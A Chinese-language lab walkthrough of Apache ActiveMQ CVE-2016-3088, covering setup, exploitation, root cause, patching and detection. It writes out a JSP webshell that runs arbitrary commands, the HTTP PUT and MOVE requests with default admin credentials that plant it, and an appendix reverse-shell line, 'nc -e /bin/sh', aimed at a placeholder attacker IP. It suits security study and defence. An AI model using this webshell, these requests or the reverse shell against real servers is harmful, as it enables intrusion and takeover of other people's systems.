vulnhub2-activeMQ(CVE-2016-3088)
字数 1442 2025-08-11 17:40:05
Apache ActiveMQ CVE-2016-3088 漏洞分析与利用教学文档
1. 漏洞概述
漏洞编号: CVE-2016-3088
影响版本: Apache ActiveMQ 5.x ~ 5.14.0
漏洞类型: 文件上传漏洞
CVSS评分: 9.8 (Critical)
漏洞描述: Apache ActiveMQ Fileserver 功能存在安全漏洞,允许攻击者通过HTTP PUT方法上传恶意文件,然后通过MOVE方法将文件移动到可执行目录,最终导致远程代码执行。
2. 环境搭建
2.1 靶场准备
- 下载受影响版本的ActiveMQ (5.x ~ 5.14.0)
- 安装Java运行环境
- 启动ActiveMQ服务
2.2 验证安装
访问管理界面确认版本:
http://[目标IP]:8161/admin/index.jsp?printable=true
默认凭证: admin/admin
3. 漏洞复现步骤
3.1 信息收集
- 确认ActiveMQ版本在受影响范围内
- 验证Fileserver功能是否可用
3.2 漏洞利用流程
步骤1: 上传WebShell
使用HTTP PUT方法上传JSP Webshell到Fileserver目录:
PUT /fileserver/shell.txt HTTP/1.1
Host: [目标IP]:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: [内容长度]
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
步骤2: 移动WebShell到可执行目录
使用MOVE方法将上传的文件移动到Web应用目录:
MOVE /fileserver/shell.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: [目标IP]:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: [内容长度]
[与PUT请求相同的JSP内容]
步骤3: 访问WebShell执行命令
通过浏览器或curl访问上传的WebShell并执行命令:
http://[目标IP]:8161/api/shell.jsp?cmd=whoami
3.3 高级利用技巧
- 获取绝对路径: 通过错误信息或特定请求获取服务器文件系统路径
- 上传大马: 在初步获得WebShell后,可上传功能更强大的Web管理工具
- 权限提升: 根据服务器配置,尝试从Web用户权限提升至更高权限
4. 漏洞原理分析
4.1 技术细节
- Fileserver功能: ActiveMQ默认开启Fileserver功能,允许通过HTTP协议进行文件操作
- PUT方法漏洞: 未对上传文件类型和内容进行严格过滤
- MOVE方法滥用: 通过Destination头可指定任意目标路径,包括Web应用目录
- 认证绕过: 部分版本存在弱认证或认证绕过问题
4.2 攻击面
- 远程代码执行(RCE)
- 服务器完全控制
- 内网横向移动
5. 修复建议
5.1 官方解决方案
- 升级版本: 升级至ActiveMQ 5.14.0或更高版本(该版本已移除Fileserver功能)
- 应用补丁: 应用官方提供的安全补丁
http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
5.2 临时缓解措施
- 禁用Fileserver: 通过修改
conf/jetty.xml配置文件,移除或注释Fileserver相关配置 - 强化认证: 修改默认凭证,启用强认证机制
- 网络隔离: 限制ActiveMQ管理界面的访问来源
- 文件权限控制: 严格限制Web应用目录的写入权限
6. 防御检测
6.1 防御措施
- 实施最小权限原则
- 定期更新和补丁管理
- 启用Web应用防火墙(WAF)规则
- 监控异常文件操作请求
6.2 检测方法
- 检查日志中异常的PUT/MOVE请求
- 监控Web目录下新增的.jsp文件
- 使用漏洞扫描工具检测
7. 参考资源
- ActiveMQ官方安全公告
- CVE官方描述
- 漏洞利用PoC代码库
附录: 常用命令参考
- 检查ActiveMQ版本:
curl -v "http://[目标IP]:8161/admin/index.jsp?printable=true"
- 基础认证生成(Base64编码):
echo -n "admin:admin" | base64
- Webshell常用命令:
- 查看当前用户:
cmd=whoami - 列出目录:
cmd=ls -al - 获取反向shell:
cmd=nc -e /bin/sh [攻击者IP] [端口]